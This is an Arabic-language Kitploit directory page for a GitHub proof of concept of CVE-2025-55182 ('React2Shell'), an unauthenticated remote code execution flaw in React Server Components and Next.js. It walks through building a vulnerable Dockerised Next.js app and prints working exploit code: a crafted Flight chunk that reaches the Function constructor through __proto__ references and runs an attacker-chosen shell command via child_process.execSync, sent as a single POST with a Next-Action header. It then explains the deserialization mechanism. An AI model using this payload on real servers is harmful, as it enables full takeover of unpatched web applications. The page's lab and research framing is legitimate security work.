Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/monarchfish/cve-2025-55182-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

إثبات المفهوم لـ CVE-2025-55182 (React2Shell): تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في مكونات خادم React / Next.js عبر إلغاء تسلسل بروتوكول Flight.

عرض المستودع
18منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

معلومات أساسية

تُعد CVE-2025-55182 واحدة من أكثر ثغرات أُطر العمل (Web Frameworks) انتشارًا في عام 2025. تُعد React Server Components (RSC) البنية المعمارية السائدة لتطبيقات Next.js الحديثة، ويقع عدد كبير من المشاريع القياسية المنشأة عبر create-next-app ضمن النطاق المتأثر، ويمكن استغلالها دون الحاجة إلى أي كود مخصص.

البندالمحتوى
رقم CVECVE-2025-55182
الاسم البديلReact2Shell
نوع الثغرةتنفيذ كود عن بُعد دون مصادقة (Unauthenticated RCE)؛ CWE-502 إلغاء تسلسل بيانات غير موثوقة (Deserialization of Untrusted Data) [3]
درجة CVSS10.0 (Critical) (CVSS 3.1، Facebook/CNA [2])
الحزم المتأثرةreact-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack
الإصدارات المتأثرةReact 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 فما فوق، 15.x، 16.x
تعقيد الهجوممنخفض جدًا (طلب HTTP POST واحد)
هل يتطلب مصادقة؟لا

خطوات إنشاء POC

1. إنشاء التطبيق باستخدام القالب الرسمي

استخدم الإصدار المحتوي على الثغرة (16.0.6) لإنشاء تطبيق Next:

pnpm create [email protected] next-app --yes

2. إنشاء Server Action للاختبار

  1. أضف ملف actions.ts داخل next-app/app/ وعلّمه كـ Server Action:

    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. أضف نموذجًا (form) في الصفحة الرئيسية (مثل app/page.tsx)، بحيث يشير action إلى testAction أعلاه، ويتضمن حقلًا واحدًا على الأقل (مثل hidden input).

    سينشئ Next.js حقلاً مخفيًا (hidden input) باسم name="$ACTION_ID_<40 حرفًا hex>" في HTML الخاص بهذا النموذج؛ ويقوم POC باستخراج هذا المعرّف من HTML الصفحة الرئيسية باستخدام تعبير نمطي (regex).

3. إعداد بيئة POC آمنة ومعزولة (Containerized)

يمكن استخدام next-app/Dockerfile وdocker-compose.yml داخل المشروع لبناء تطبيق Next وتشغيله، ويمكنك الاطلاع على المثال الرسمي [8] لمعرفة طريقة كتابتهما.

نفّذ في الدليل الجذر للمشروع:

docker compose up --build -d

ويمكنك بعدها الوصول إلى تطبيق Next المُشغَّل عبر http://localhost:3000.

بعد انتهاء POC، قم بإزالة بيئة Docker بالكامل:

docker compose down -v

خطوات استغلال الثغرة

الخطوة الأولى: الحصول على ACTION_ID

عند تشغيل POC، يقوم السكربت بجلب (fetch) الصفحة الرئيسية واستخراج المعرّف بالتعبير النمطي \$ACTION_ID_([a-f0-9]{40})/. مثال:

const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

الخطوة الثانية: تنفيذ الاستغلال

بعد تثبيت التبعيات (dependencies) في الدليل الجذر للمشروع، نفّذ:

pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

المقطع البرمجي الأساسي كما يلي:

function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

فيما يلي مثال على كتابة ملف على الجهاز الهدف:

pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

الخطوة الثالثة: ملاحظة النتائج

  • عند نجاح RCE، قد يتعطل الخادم أو تنتهي مهلة الطلب (timeout) بعد تنفيذ الأمر، وعندها سيحصل الطلب على timeout، وهذا سلوك متوقع.
  • تحقق على الجهاز الهدف من تنفيذ الأمر أم لا (مثل فحص الملفات أو العمليات process).
  • يمكنك الدخول إلى الحاوية للفحص عبر docker compose exec، أو عبر Docker Desktop.

شرح المبدأ

موقع الثغرة

تقع الثغرة في آلية إلغاء تسلسل بروتوكول Flight في React (RSC Flight Deserializer). تتولى هذه الآلية نقل حالة مكونات React بين الخادم والعميل، لكن معالجة البيانات تعاني من مشكلة خطيرة في حدود الثقة (trust boundary).

بروتوكول React Flight هو تنسيق الأسلاك (wire format) الذي صممته React لـ Server Components وServer Actions: يسلسل شجرة المكونات ومعاملات الدوال وغيرها إلى تدفق قطع (chunks) ممثَّلًا بصيغة JSON، وينشئ مراجع بين القطع عبر $رقم و$رقم:اسم_المفتاح، ليستعيد الخادم قيم JavaScript الكاملة.

سلسلة الاستغلال (Exploit Chain)

يرسل المهاجم طلب HTTP POST خبيث
        ↓
[المرحلة 1] إنشاء كائن حلقة ذاتية المرجع (Self-referential loop)
        ↓
[المرحلة 2] خداع محرك JavaScript لاستدعاء دالة يتحكم بها المهاجم
        ↓
[المرحلة 3] حقن بيانات خبيثة لتفعيل مسار تهيئة Flight
        ↓
[المرحلة 4] استدعاء Function constructor عبر Blob Handler
        ↓
تنفيذ أي كود JavaScript على الخادم (RCE)

React Server وتنسيق النقل

تقوم Server Functions في React (وهي Server Actions في Next.js) بتسلسل البيانات التي يريدها الواجهة الأمامية إرسالها إلى الخادم عبر بروتوكول React Flight إلى قطع (chunks) متعددة، ثم تُرسَل كبيانات نموذج (form data).

من مزايا هذا التصميم:

  • النقل التدفقي (streaming): يمكن توليد القطع وتحليلها بالتتابع دون انتظار اكتمال الحمولة (payload) بالكامل، مما يساعد في التحكم بزمن الاستجابة (latency) واستخدام الذاكرة.
  • إزالة التكرار والمشاركة: تُسلسَل البيانات نفسها مرة واحدة فقط، وتُشير الأماكن المتعددة إليها بالمراجع، مما يقلل التكرار وحجم البيانات المرسلة.
  • التوافق مع POST للنماذج: تُرسَل القطع كحقول multipart، دون الحاجة إلى بروتوكول ثنائي (binary) مخصص، كما يسهل ذلك التعامل مع شبكات CDN والوكلاء (proxy) وتصحيح الأخطاء.
  • القدرة على تمثيل البنى المعقدة: يدعم الكائنات المتداخلة والبنى البيانية (graph structures) المعبَّر عنها بالمراجع، لتلبية الأنواع الغنية التي تتطلبها استدعاءات RPC.

يمكن للقطع أن تشير إلى بعضها البعض، على سبيل المثال:

  • chunk 0: ["$1"] (مرجع إلى القطعة 1)
  • chunk 1: {"object":"fruit","name":"$2:fruitName"} (مرجع إلى fruitName في القطعة 2)
  • chunk 2: {"fruitName":"cherry"}

بعد تفسير الخادم نحصل على: { object: 'fruit', name: 'cherry' }. أي أن البروتوكول يسمح بالإشارة إلى خصائص قطع أخرى عبر $رقم:اسم_المفتاح، ثم دمجها لتكوين كائن JavaScript نهائي.

سبب الثغرة

في التنفيذ قبل التصحيح، لم يتم عند تحليل هذه المراجع التحقق بدقة من «هل المفتاح موجود فعلًا في الكائن نفسه أم لا»، ولهذا تمكن المهاجم من قراءة الخصائص الموجودة على النموذج الأولي (prototype) للكائن عبر المراجع.

على سبيل المثال، يمكن بناء الحمولة (payload) التالية:

  • chunk 0: ["$1:__proto__:constructor:constructor"]
  • chunk 1: {"x":1}

عندما يحلل الخادم «__proto__ الخاص بـ chunk 1 → constructor → constructor»، يحصل على منشئ Function ([Function: Function]) أي المنشئ المدمج الذي «ينشئ دالة من سلسلة نصية». وبعبارة أخرى: عبر سلسلة مراجع غير سليمة، يمكن الحصول على Function على جانب الخادم، ومن ثم تنفيذ السلسلة النصية ككود برمجي.

thenable وawait

بعد استلام النموذج، يعيد Next.js بناء القطع إلى قيمة واحدة عبر decodeReplyFromBusboy، ثم يقوم بعمل await على تلك القيمة.

في JavaScript، إذا كان الكائن يحتوي على دالة .then، فإنه يُعتبر thenable؛ وعند await يتم استدعاء .then هذه. لذلك، إذا أمكن جعل .then الخاص بـ«نتيجة فك التشفير» يشير إلى دالة يتحكم بها المهاجم (مثل منشئ Function المذكور سابقًا)، فسيتم تنفيذ ذلك المنطق لحظة await. الخطوة التالية في الهجوم هي: بناء كائن «يشبه thenable بعد فك التشفير»، وتوجيه .then الخاص به إلى نقطة الاستدعاء المطلوبة (call gadget).

من «chunk مزيف» إلى RCE

تنزيل الأداة